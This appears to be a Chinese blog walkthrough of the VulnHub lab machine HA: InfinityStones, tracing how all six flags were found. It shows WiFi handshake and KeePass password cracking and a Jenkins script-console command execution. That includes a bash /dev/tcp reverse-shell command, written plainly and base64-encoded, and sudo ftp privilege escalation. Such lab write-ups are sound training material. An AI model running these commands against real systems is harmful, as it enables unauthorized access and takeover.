HA-InfinityStones

Vulnhub靶场

下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/

背景:

灭霸认为,如果他杀死了宇宙中所有生命的一半,将恢复平衡。为此,他需要所有六块无限宝石来驱动无限手套,这反过来又使他能够弯曲时间,空间,能量以及物理和现实定律。但是这次复仇者联盟比灭霸领先一步。复仇者联盟在这个CTF中隐藏了所有无限宝石。帮助灭霸获得所有无限宝石并恢复宇宙的平衡。

该机器包含6种带有6种不同标志的无限宝石来测试您的技能,找出它们。

 

Space Stone空间宝石

Mind Stone心灵宝石

Reality Stone现实宝石

Time Stone时间宝石

Power Stone力量宝石

Soul Stone灵魂宝石

首页,六颗宝石不断切换:

对端口进行探测:

对22端口的SSH进行初步爆破,正常是不会成功的,如果常见用户名及弱口令的话,也是一个突破口。

8080端口:jenkins

443端口:

先对网站进行目录扫描,

对该url进行访问:

http://192.168.136.176/images/

发现是首页中存在的图片,应该不存在宝石,往下走先。

访问http://192.168.136.176/img

下载,利用编辑器打开。

获取到了空间宝石SPACESTONE:{74E57403424607145B9B77809DEB49D0}

访问该链接:http://192.168.136.176/wifi

.cap是存储WiFi密码的数据包(以前对WiFi进行爆破时接触到过)

Pwd.txt规定了密码了类型,生成字典进行爆破。

利用pydictor生成相关字典。

python3 pydictor.py --conf "[A-Z]{1,1}<none>[0-9]{2,2}<none>[a-z]{2,2}<none>2012"   --head gam

生成了21M的字典,枚举。

正常都是使用Aircrack-ng 套件来破解(以前做WiFi实验使用过)

这次使用下WIFIPR这款软件进行破解,试下性能。(搞了个21M的字典,来个A00的密码,裂开了)

获取到密码,gamA00fe2012,WiFi的密码在哪输入呢,接在后面输入试试。

再试下根目录,成功。

获取到了现实宝石,REALITYSTONE:{4542E4C233F26B4FAF6B5F3FED24280C}

接着对主站进行测试,点开是答题的页面,二进制,刚好8道题。

没办法,看电影就看炫酷了,百度一手。

答案为01101001

还尝试了GET输入,不正确:

http://192.168.136.176/aether.php?quiz=01101001

http://192.168.136.176/aether.php?id=01101001

最终还是放在目录下成功获取信息。

打开文本。

不是摩斯密码,是一种加密方式,Brainfuck解释器

https://www.splitbrain.org/services/ook

解密为 admin:avengers

密码应该是给Jenkins用的。

http://192.168.136.176:8080/ 登录成功

该服务存在命令执行,http://192.168.136.176:8080/script

执行whoami,代码为:println "whoami".execute().text

反弹shell

bash -i >& /dev/tcp/192.168.136.1/3418 0>&1经过base64加密得:

println "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xLzM0MTggMD4mMQ==}|{base64,-d}|{bash,-i}".execute().text

在里面翻了~、/opt、/tmp都没有发现txt的flag。

那先尝试提权吧,查询suid权限。

find / -user root -perm -4000 -print 2>/dev/null

查看下:/opt/script,发现了

获取到了时间宝石TIMESTONE:{141BC86DFD5C40E3CC37219C18D471CA}

再回去/opt路径下看另一个文件有没有玄机,前面就只是简单的cat看了下。

复制到页面将其下载

KDBX是什么

下载KeePass来打开该文件。

利用JtR(John the Ripper)工具将将不同的文件类型转换为JTR兼容的攻击文件

利用/usr/sbin/keepass2john将morag.kdbx转换为hash

/usr/sbin/keepass2john morag.kdbx >gogogo.hash

再利用john对gogogo.hash进行撞库

John gogogo.hash

进入文件

获取到了力量宝石POWERSTONE:{EDDF140F156862C9B494C0B767DCD412}

同时发现

https://keepass.info/help/kb/testform.html进行访问登录,设置的虚假信息。

存储的另一个点。

将bW9yYWc6eW9uZHU= 解密得(base64)

morag:yondu

前面在翻/home时有发现morag的文件夹,尝试SSH连接。

成功登录,前面获取的shell也能访问该文件夹,但权限不同,利用该账号尝试提权。

查看suid权限文件find / -user root -perm -4000 -print 2>/dev/null

和前面的文件差不多,看看sudo -l怎么样,jenkins账号没有。

能够以root权限运行ftp,利用ftp提权。(这里的![linux系统命令]表示的是在ftp中执行系统命令,返回ftp环境中)

cat /root/final.txt

获取到root下的flag。

获取到了灵魂宝石,SOULSTONE:{56F06B4DAC14CE346998483989ABFF16}

提权的都找到了,还要一个呢,查看了下/var/www/html下的文件,还有一个页面没看见过。

访问http://192.168.136.176/tesseract.html,宇宙魔方页面???

最后看了下提示,原来在SSL的证书里。

同时,nmap能够显示证书验证者:

获取到了心灵宝石,MINDSTONE:{4542E4C233F26B4FAF6B5F3FED24280C}

 

集齐六颗无限宝石,打个响指。---end

VulnHub靶场学习_HA: InfinityStones的更多相关文章

  1. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  2. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  3. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  4. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  5. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  6. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  9. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. ADO.NET 的使用(一)

    一.ADO.NET概要 ADO.NET 是一组向 .NET Framework 程序员公开数据访问服务的类. ADO.NET 为创建分布式数据共享应用程序提供了一组丰富的组件. 它提供了对关系数据.X ...

  2. iOS 原生库(AVFoundation)实现二维码扫描,封装的工具类,不依赖第三方库,可高度自定义扫描动画及界面(Swift 4.0)

    Create QRScanner.swift file // // QRScanner.swift // NativeQR // // Created by Harvey on 2017/10/24. ...

  3. XSS-Labs(Level1-10)

    Level-1 简单尝试 使用基础poc<script>alert(1)</script> 代码审计 <?php ini_set("display_errors ...

  4. 论文速递 | 实例分割算法BlendMask,实时又state-of-the-art

    BlendMask通过更合理的blender模块融合top-level和low-level的语义信息来提取更准确的实例分割特征,该模型效果达到state-of-the-art,但结构十分精简,推理速度 ...

  5. xheditor图片上传

    前端步骤:分为三部,这三部做完之后就能正确显示富文本了 1.下载xheditor文件,并按照如下要求进行引入: <!-- xheditor富文本的文件引入 --> <script t ...

  6. hdu1181 dfs 字符串首尾可拼接,问是否可寻找到一条字串路径使得首尾分别是‘b’和‘m’,简单的搜索+回溯

    #include<bits/stdc++.h> using namespace std; typedef unsigned int ui; typedef long long ll; ty ...

  7. PySpark初级教程——第一步大数据分析(附代码实现)

    概述 数据正以前所未有的速度与日俱增 如何存储.处理和使用这些数据来进行机器学习?spark正可以应对这些问题 了解Spark是什么,它是如何工作的,以及涉及的不同组件是什么 简介 我们正在以前所未有 ...

  8. Python python lamda 表达式

    '''关键字lambda表示匿名函数,冒号前面的x表示函数参数. 匿名函数有个限制,就是只能有一个表达式,不用写return,返回值就是该表达式的结果. 用匿名函数有个好处,因为函数没有名字,不必担心 ...

  9. 如何查看自己项目中vue的版本号和cli的版本号

    查看Vue版本号 代码方式 npm list vue 其他方式 找到package.json文件夹 找"dependencies"然后就可以看到你装的vue的版本了 查看cli版本 ...

  10. 深入理解NIO(二)—— Tomcat中对NIO的应用

    深入理解NIO(二)—— Tomcat中对NIO的应用 老哥行行好,转载和我说一声好吗,我不介意转载的,但是请把原文链接贴大点好吗 Tomcat大致架构 先贴两张图大致看一眼Tomcat的架构 Tom ...